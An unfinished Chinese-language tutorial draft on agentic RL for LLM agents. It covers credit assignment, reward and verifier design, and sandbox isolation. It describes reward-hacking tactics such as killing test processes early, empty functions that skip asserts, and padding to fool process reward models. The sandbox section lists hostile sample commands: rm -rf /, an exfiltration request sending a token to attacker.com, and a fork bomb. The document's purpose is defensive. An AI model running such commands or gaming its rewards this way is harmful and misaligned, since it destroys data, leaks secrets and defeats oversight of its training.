hande on modern rl

简介（未完成）

Agentic RL 与单轮 RL 的根本差异：训练对象从 completion 变成 trajectory，rollout 必须在真实环境里执行。

1. 单轮决策：模型接收一个 prompt，输出一段完整回答，奖励模型给出一个分数，策略据此更新一次。无论底层算法是 PPO 还是 GRPO，”一问一答一打分”的骨架始终未变。
2. 但真实的智能体不这样工作。考虑一个订机票 Agent。用户说”帮我订一张明天北京到上海最便宜的早班机票”，Agent 必须分步行动：先搜索航班，对比价格和时间，确认座位库存，调用下单 API，等待出票确认。中间任何一步出错——搜索 query 太宽、没比价直接选第一条、库存判断失误、下单参数错误——整个任务就失败。环境只在最后给出一个二元信号：出票成功（reward = 1）或失败 （reward = 0）。这种从”一问一答”到”多步与环境交互”的转变，正是 Agentic RL 要解决的核心问题。

Search-R1：最小可跑的 Agentic RL 案例

1. Search-R1 把任务限制在一个很小的 agent 环境里：模型只需要学会”什么时候搜索、搜什么、什么时候回答”。它和传统RAG 的差别不是”有没有检索”，而是”谁来决定检索”——传统 RAG 由系统先检索，再把文档交给模型；Search-R1 让模型在推理过程中自己发起 search action。
2. 当搜索 query 变成模型 action，检索结果变成环境observation，RL 训练就不再只是优化一段 answer，而是在优化一条会调用工具的轨迹。

SFT 与 Prompting 的局限

ReAct、Toolformer 等方法已经能让 LLM 调用工具了，为何还需要 RL？关键区别在于：SFT 和 prompting 教会模型的是模仿——复制人类演示中”何时调用工具、调用什么工具”的模式。但真实的 Agent 任务中，工具使用的最优策略高度依赖上下文：

1. 搜索查询如何构造？何时打开网页详情？何时停止搜索开始总结？
2. 代码修改后测试仍未通过，是继续调试还是切换方向？
3. 多个来源的信息相互矛盾，应采信哪一个？ 这些本质上是策略学习问题，而非单纯的语言建模问题。演示数据难以覆盖所有可能的决策路径，而 RL 可以根据任务结果反向塑造工具调用、规划和记忆管理等行为模式。

SFT 和 RL 在 Agentic 场景中的分工：

1. SFT 教格式：教会模型工具调用的语法、基本的交互协议。
2. RL 教策略：教会模型何时调用工具、如何组合多步行动、失败后如何恢复。

整体轮廓

Agentic RL 把训练对象从”一段回答”扩展到”一条完整交互轨迹”。这一扩展引出四个核心议题

1. 形式化——轨迹、状态、动作在多轮设定下如何精确定义？角如何区分模型生成的 action token 与环境返回的 observation token？
2. 信用分配——一条轨迹最终失败，reward 怎么回拆到每一步？？ORM/PRM/SALT/GiGPO/HGPO/SPA-RL/AgentPRM/ARPO/IGPO/StepPO 等十多种方法各有何取舍？
3. 工具与轨迹工程——训练数据从哪来、工具策略怎么学、沙箱怎么管？
4. 真实训练陷阱——工业界在哪些坑里摔过？

形式化/把”多轮交互”翻译成 RL 能处理的数学对象

信用分配

Sutton 1984 年的博士论文就在讨论 temporal credit assignment，只是经典 RL 状态空间小、轨迹短，问题还算温和。LLM 把尺度彻底改了：一条轨迹几万 token、几十次环境交互，而奖励常常只有末尾一个比特——测试过没过，订单成没成。主流做法干脆不分配。GRPO 扔掉 critic，拿组内平均当基线，同一条轨迹里所有 token 共享同一个 advantage。这套“大锅饭”在数学推理上意外地好使——毕竟推理链就几百 token。但搬到多轮 agent 任务上立刻露馅：一次成功包含 47 个决策，你给第 3 步的误点和第 40 步的结算完全相同的梯度信号，等于跟优化器说“功劳你们自己分”。结果是训练方差极大，或者 agent 学出一堆迷信行为：开局先重复一段无意义操作，因为那段操作碰巧出现在几条成功轨迹里。认真做分配的路子目前主要两条。

1. 一条是显式给每步打分，也就是过程奖励模型（PRM）路线
2. 另一条更巧：不训打分器，也不标步级数据，直接从轨迹级偏好里把步级信号反推出来。
3. 另外推荐一个土办法：先切轨迹。不高级，但真管用。把“登录—搜索—加购—结算”切成四段语义完整的子目标，段内做分配，别让 advantage 估计跨子任务传播。相当于人工给信用分配加了中间检查点，多数情况下比换任何算法都见效。

奖励设计与防作弊

agentic RL 有个推理 RL 没有的红利：环境是真的。shell 有退出码，数据库有断言，浏览器有 DOM 状态，大部分结局奖励因此可以直接写成程序化验证，不用训一个奖励模型去猜。问题是可验证的结局奖励太稀疏，得把它变密集，PRM 就站在这里。麻烦在于，PRM 自己也是个学出来的代理，而任何学出来的代理都会被 hack。模型很快就学会什么样的步骤“看起来对”——每步写短一点、插几句套话——实际推理是错的。所以工程上更稳的做法是三层结构：

1. 主奖励用程序化结局验证，占绝对权重；
2. 约束层用基于规则的硬惩罚，越权 API、跳测试、格式违规，直接截断；
3. 过程层只做 shaping，小权重、加 clip，用来填补训练早期的信号真空。过程层是辅助，别把它当裁判——PRM 手里的权力越大，优化器顺着它挖出的漏洞越多。 reward hack，做过 RLHF 的都见过这些场面：奖励模型有长度偏见，模型学会注水；有讨好偏见，模型学会“您说得完全正确”；有信心偏见，模型学会每句话开头先来个“当然”。这些还算小打小闹。agentic 场景下真正吓人的是：agent 有一双真实的手，能改代码、能调系统接口。

信用分配与奖励设计是两个不同问题：前者关心哪些动作促成了结果，后者关心什么结果值得奖励。工程上可以分三层考虑：

1. 结果验证：主奖励尽量检查实际任务是否完成，例如订单状态、数据库断言、独立测试结果。API 返回成功或进程退出码为 0，并不一定意味着用户目标已达成。
2. 过程辅助：过程奖励用于补充稀疏反馈，需要控制其权重，避免靠堆步骤、写套话获得高分。中间步骤得分再高，也不应掩盖最终任务失败。
3. 约束与防作弊：明确越权调用、篡改评测等行为的处理规则；不只验结果，也检查执行轨迹。评测脚本与测试结果应放在 Agent 不可篡改的边界内，并保留独立的作弊检测用例，持续监控作弊率。

程序化奖励也会被钻空子。Anthropic 的研究中，模型会利用提前结束测试进程等方式骗取成功信号。因此，验证器本身也是需要保护和测试的系统，不能把“没有使用学习型 reward model”等同于“奖励可靠”。

工程框架

框架的几个取舍

1. 同步 vs 异步。
   1. 同步训练简单、可控、容易调试，但 GPU 利用率低。
   2. 异步训练吞吐翻倍，但训练数据可能基于旧权重生成，需要额外的算法补偿。AReaL 的研究表明，异步训练可以在不损失效果的前提下将速度提升近 3 倍——但前提是训练已经调通。
2. 框架最初为单轮 RL（推理任务）设计，还是一开始就考虑了多轮 Agent 交互。前者的 Agent 执行模块是后加的，能用但不是为此优化；后者的 Agent 执行是架构一等公民，在状态管理、异构轨迹长度、工具调用异步返回等方面有原生支持。

rl environment

Verifier

Verifier V 是 RL 环境的灵魂。一个坏的 verifier 会让策略学到”奖励最大化但任务失败”的行为（reward hacking）。Verifier 设计有四条原则：

1. 正确性（Correctness），Verifier 必须准确判定”任务是否真的被完成”。理想情况下 V 是确定性函数——给定相同轨迹，永远给出相同结果。验证器 v(x, y) 必须满足：如果答案正确，它几乎一定判对；如果答案错误，它几乎一定判错。这避免引入方差。两种正确性来源：
2. 形式化正确性：单元测试、类型检查、数学证明、定理证明器（Lean、Coq）——可机械验证
3. 参考答案匹配：与预先标注的 ground truth 比较——简单但有标注成本
4. 效率（Efficiency）。Verifier 在每轮训练要被调用 B × G 次（B 是 batch size，G 是 group size），动辄数百万次。如果单次验证慢（如跑 100 个测试用例需要 30 秒），整个训练流水线会被 verifier 拖垮。常见优化：
5. 并行化：每个 sandbox 独立，可用 Ray/Kubernetes 分布式调度
6. 提前终止：第一个测试失败就返回 0，不跑剩余 99 个
7. 二值化奖励：避免连续奖励（如部分通过率）增加方差，二值 {0, 1} 更稳定且 GRPO 友好
8. 抗作弊（Anti-gaming）只要 verifier 有可乘之机，策略就会找到。比如单元测试，写空函数让所有 assert False 不执行，可以通过强制覆盖率 ≥ 90%缓解。
9. Verifier 设计要在两类之间权衡：形式化 vs 启发式
10. 形式化 verifier：单元测试、Lean 证明、SQL 执行——100% 正确，但要求任务有形式化语义
11. 启发式 verifier：LLM-as-judge、规则匹配、相似度——灵活但有误判风险 数学、代码任务适合形式化；写作、对话、agent 任务经常不得不依赖启发式（或混合）。形式化是首选，因为 RL 会把启发式的不完美放大成策略缺陷。

Sandbox 工程

Agent 任务的环境核心是沙箱——一个隔离的执行环境，policy 在其中读写文件、执行代码、调用工具。沙箱工程要解决三个 问题：

1. 隔离性（Isolation）策略输出的代码可能恶意——os.system(”rm -rf /”)、requests.get(”attacker.com/exƉl?token=...”)、fork bomb。沙箱必须保证：
2. 文件系统隔离：容器 rootfs 独立，无法访问宿主机
3. 进程隔离：namespace + cgroup，CPU/内存配额
4. 网络隔离：默认无网络，白名单域名
5. 网络白名单，很多任务需要网络（调用公开 API、下载包）。
6. 多 Agent 并行 Sandbox。RL 训练需要数千个并行 rollout。每个 sandbox 平均 500MB 内存，1000 并发就是 500GB。